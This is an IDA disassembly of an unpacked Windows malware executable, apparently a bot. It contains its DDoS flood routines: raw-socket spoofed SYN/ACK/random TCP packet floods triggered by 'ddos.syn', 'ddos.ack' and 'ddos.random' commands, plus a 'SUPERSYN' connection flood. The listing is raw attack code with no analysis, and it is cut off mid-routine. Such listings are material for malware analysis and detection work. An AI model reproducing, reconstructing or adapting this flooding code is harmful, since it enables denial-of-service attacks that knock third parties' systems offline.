;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 6F625FF48AF9579CC160AB8887CF727D
; File Name : u:\work\6f625ff48af9579cc160ab8887cf727d_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000D0000 ( 851968.)
; Section size in file : 000D0000 ( 851968.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; DATA XREF: sub_40EE72+3A15o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
nop
call near ptr 261077Ch
push eax
call sub_417302
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013EC
add esp, 14h
push eax
lea eax, [ebp+var_494]
push offset unk_426050
push eax
call sub_4172B0
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_401093
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_40D679
add esp, 14h
loc_401093: ; CODE XREF: sub_401000+71j
lea eax, [ebp+var_494]
push eax
call sub_40BF6D
push [ebp+var_290]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 261031Eh
pop edi
pop esi
sub_401000 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43AD10
test eax, eax
jz short loc_4010F5
xor eax, eax
jmp loc_4013E8
; ---------------------------------------------------------------------------
loc_4010F5: ; CODE XREF: sub_4010B5+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43AE3C
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013E0
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_43AD78
cmp eax, 0FFFFFFFFh
jz loc_4013D6
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_43AD98
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_43AD98
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_43AD98
mov [ebp+var_12], ax
call sub_41730C
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43AD98
push 12345678h
mov [ebp+var_14], ax
call dword_43AD94
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C5
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401219
; ---------------------------------------------------------------------------
loc_4011C5: ; CODE XREF: sub_4010B5+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4011E1
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401219
; ---------------------------------------------------------------------------
loc_4011E1: ; CODE XREF: sub_4010B5+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_401219
call sub_41730C
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41730C
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401219: ; CODE XREF: sub_4010B5+10Ej
; sub_4010B5+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_43AD98
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2610B34h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 2610805h
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_417760
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401267: ; CODE XREF: sub_4010B5+2E2j
; sub_4010B5+2F0j
mov [ebp+var_4], bx
call sub_41730C
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43AD98
mov [ebp+var_14], ax
call sub_41730C
mov edi, eax
shl edi, 10h
call sub_41730C
or edi, eax
push edi
call dword_43AD98
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43AD94
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43AD98
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417390
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF39
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417330
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF39
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_43ADFC
cmp eax, 0FFFFFFFFh
jz short loc_4013AA
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 2610805h
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013D3
jl loc_401267
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4013D3
jmp loc_401267
; ---------------------------------------------------------------------------
loc_4013AA: ; CODE XREF: sub_4010B5+2CBj
call dword_43AD2C
push eax
lea eax, [ebp+var_F4]
push offset unk_426088
push eax
call sub_4172B0
lea eax, [ebp+var_F4]
push eax
call sub_40BF6D
add esp, 10h
jmp short loc_4013D6
; ---------------------------------------------------------------------------
loc_4013D3: ; CODE XREF: sub_4010B5+2E0j
; sub_4010B5+2EEj
mov ebx, [ebp+arg_8]
loc_4013D6: ; CODE XREF: sub_4010B5+78j
; sub_4010B5+31Cj
push [ebp+var_20]
call dword_43AE30
pop esi
loc_4013E0: ; CODE XREF: sub_4010B5+5Bj
call dword_43ACF8
mov eax, ebx
loc_4013E8: ; CODE XREF: sub_4010B5+3Bj
pop edi
pop ebx
leave
retn
sub_4010B5 endp
; =============== S U B R O U T I N E =======================================
sub_4013EC proc near ; CODE XREF: sub_401000+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADCA
push [esp+10h+arg_4]
mov esi, eax
call sub_41781F
push [esp+14h+arg_C]
mov ebx, eax
call sub_41781F
mov edi, eax
call sub_41730C
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B5
add esp, 20h
test eax, eax
jnz short loc_40143B
push 1
pop eax
loc_40143B: ; CODE XREF: sub_4013EC+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40144A proc near ; DATA XREF: sub_40EE72+3C03o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_43AE18
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014E5
call dword_43AD2C
push eax
lea eax, [ebp+var_3BC]
loc_401493: ; DATA XREF: ___:off_4282ACo
push offset unk_426214
push eax
call sub_4172B0
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C8
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_4014C8: ; CODE XREF: sub_40144A+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
call near ptr 261031Eh
nop
loc_4014E5: ; CODE XREF: sub_40144A+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_43AD78
cmp eax, 0FFFFFFFFh
jnz short loc_40155C
call dword_43AD2C
push eax
lea eax, [ebp+var_3BC]
push offset unk_4261CC
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_40153F
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_40153F: ; CODE XREF: sub_40144A+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
call near ptr 261031Eh
nop
loc_40155C: ; CODE XREF: sub_40144A+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_43ADD8
cmp eax, 0FFFFFFFFh
jnz short loc_4015C3
lea eax, [ebp+var_3BC]
push offset unk_42619C
push eax
call sub_4172B0
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A6
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_4015A6: ; CODE XREF: sub_40144A+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
call near ptr 261031Eh
nop
loc_4015C3: ; CODE XREF: sub_40144A+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_43AD98
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_43ADD8
mov esi, dword_424058
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi
mov [ebp+var_8], eax
loc_401601: ; CODE XREF: sub_40144A+2E8j
call esi
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_4017AC
push 41Ch
mov byte_436AB8, 45h
call dword_43AD98
cmp [ebp+var_2C], edi
mov word_436ABA, ax
mov word_436ABC, bx
mov word_436ABE, di
mov byte_436AC0, 80h
mov byte_436AC1, bl
mov word_436AC2, di
jz short loc_401687
call sub_41730C
mov ebx, eax
shl ebx, 8
call sub_41730C
add ebx, eax
shl ebx, 8
call sub_41730C
add ebx, eax
shl ebx, 8
call sub_41730C
add ebx, eax
push 1
mov dword_436AC4, ebx
pop ebx
jmp short loc_40169F
; ---------------------------------------------------------------------------
loc_401687: ; CODE XREF: sub_40144A+20Bj
push [ebp+var_1BC]
call sub_40AEE0
pop ecx
push eax
call dword_43ADD8
mov dword_436AC4, eax
loc_40169F: ; CODE XREF: sub_40144A+23Bj
mov eax, [ebp+var_18]
mov dword_436AC8, eax
call sub_41730C
cdq
mov ecx, 100h
idiv ecx
mov byte_436ACC, dl
call sub_41730C
cdq
mov ecx, 100h
idiv ecx
mov byte_436ACD, dl
call sub_41730C
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_436ACE, di
mov word_436AD2, bx
inc edx
mov word_436AD0, dx
call sub_41730C
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_436AD4
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_436AB8
push [ebp+var_4]
call dword_43ADFC
cmp eax, 0FFFFFFFFh
jz short loc_401737
inc [ebp+arg_0]
jmp loc_401601
; ---------------------------------------------------------------------------
loc_401737: ; CODE XREF: sub_40144A+2E3j
push [ebp+var_4]
call dword_43AE30
call dword_43AD2C
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_42613C
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41782A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_40178F
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_40178F: ; CODE XREF: sub_40144A+323j
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
call near ptr 261031Eh
nop
loc_4017AC: ; CODE XREF: sub_40144A+1C8j
push [ebp+var_4]
call dword_43AE30
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4260DC
push eax
call sub_4172B0
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_401814
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_40D679
add esp, 14h
loc_401814: ; CODE XREF: sub_40144A+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_40BF6D
push [ebp+var_38]
call sub_417078
pop ecx
pop ecx
push edi
nop
call near ptr 261031Eh
sub_40144A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401831 proc near ; DATA XREF: sub_40EE72+159Do
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401992
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)"
push eax
call sub_4172B0
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_4018B1
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40D679
add esp, 14h
loc_4018B1: ; CODE XREF: sub_401831+5Ej
lea eax, [ebp+var_414]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 261031Eh
pop edi
pop esi
sub_401831 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018D0 proc near ; CODE XREF: sub_401992+27p
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_43AD98
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_40198E
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_40191B: ; CODE XREF: sub_4018D0+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_401923: ; CODE XREF: sub_4018D0+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_401946
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_401946: ; CODE XREF: sub_4018D0+64j
add esi, 4
dec ebx
jnz short loc_401923
lea esi, [ebp+var_654]
mov ebx, edi
loc_401954: ; CODE XREF: sub_4018D0+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
call near ptr 71AB3E5Dh
nop
add esi, 4
dec ebx
jnz short loc_401954
push 64h
call near ptr 2610E88h
nop
lea esi, [ebp+var_654]
mov ebx, edi
loc_401978: ; CODE XREF: sub_4018D0+B4j
push dword ptr [esi]
call near ptr 71AB1A6Dh
nop
add esi, 4
dec ebx
jnz short loc_401978
dec [ebp+arg_4]
jnz short loc_40191B
pop edi
pop esi
pop ebx
loc_40198E: ; CODE XREF: sub_4018D0+3Ej
xor eax, eax
leave
retn
sub_4018D0 endp
; =============== S U B R O U T I N E =======================================
sub_401992 proc near ; CODE XREF: sub_401831+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADCA
push [esp+10h+arg_4]
mov edi, eax
call sub_41781F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41781F
mov esi, eax
push esi
push ebx
push edi
call sub_4018D0
add esp, 18h
test eax, eax
jnz short loc_4019C8
push 1
pop eax
loc_4019C8: ; CODE XREF: sub_401992+31j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
sub_401992 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019D7 proc near ; DATA XREF: sub_40EE72+3906o
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401D28
add esp, 0Ch
push eax
lea eax, [ebp+var_414]
push offset dword_426280
push eax
call sub_4172B0
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_401A57
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_40D679
add esp, 14h
loc_401A57: ; CODE XREF: sub_4019D7+5Ej
lea eax, [ebp+var_414]
push eax
call sub_40BF6D
push [ebp+var_10]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 261031Eh
pop edi
pop esi
sub_4019D7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43AD10
test eax, eax
jz short loc_401AB6
xor eax, eax
jmp loc_401D24
; ---------------------------------------------------------------------------
loc_401AB6: ; CODE XREF: sub_401A76+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43AE3C
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401D1C
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_43AD78
cmp eax, 0FFFFFFFFh
jz loc_401D12
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_417330
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_43AD98
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_43AD98
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_43AD98
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_43AD98
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2610B34h
lea eax, [ebp+var_8]
push eax
call near ptr 2610805h
nop
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_417760
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_401BA1: ; CODE XREF: sub_401A76+25Dj
; sub_401A76+26Bj
mov [ebp+var_24], bx
call sub_41730C
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43AD98
mov [ebp+var_34], ax
call sub_41730C
mov edi, eax
shl edi, 10h
call sub_41730C
or edi, eax
push edi
call dword_43AD98
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43AD94
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43AD98
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_417390
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AF39
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_417390
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_417330
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AF39
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_417390
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_43ADFC
cmp eax, 0FFFFFFFFh
jz short loc_401CE6
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 2610805h
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401D0F
jl loc_401BA1
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_401D0F
jmp loc_401BA1
; ---------------------------------------------------------------------------
loc_401CE6: ; CODE XREF: sub_401A76+247j
call dword_43AD2C
push eax
lea eax, [ebp+var_F4]
push offset dword_4262B8
push eax
call sub_4172B0
lea eax, [ebp+var_F4]
push eax
call sub_40BF6D
add esp, 10h
jmp short loc_401D12
; ---------------------------------------------------------------------------
loc_401D0F: ; CODE XREF: sub_401A76+25Bj
; sub_401A76+269j
mov ebx, [ebp+arg_8]
loc_401D12: ; CODE XREF: sub_401A76+78j
; sub_401A76+297j
push [ebp+var_C]
call dword_43AE30
pop esi
loc_401D1C: ; CODE XREF: sub_401A76+5Bj
call dword_43ACF8
mov eax, ebx
loc_401D24: ; CODE XREF: sub_401A76+3Bj
pop edi
pop ebx
leave
retn
sub_401A76 endp
; =============== S U B R O U T I N E =======================================
sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADCA
push [esp+10h+arg_4]
mov esi, eax
call sub_41781F
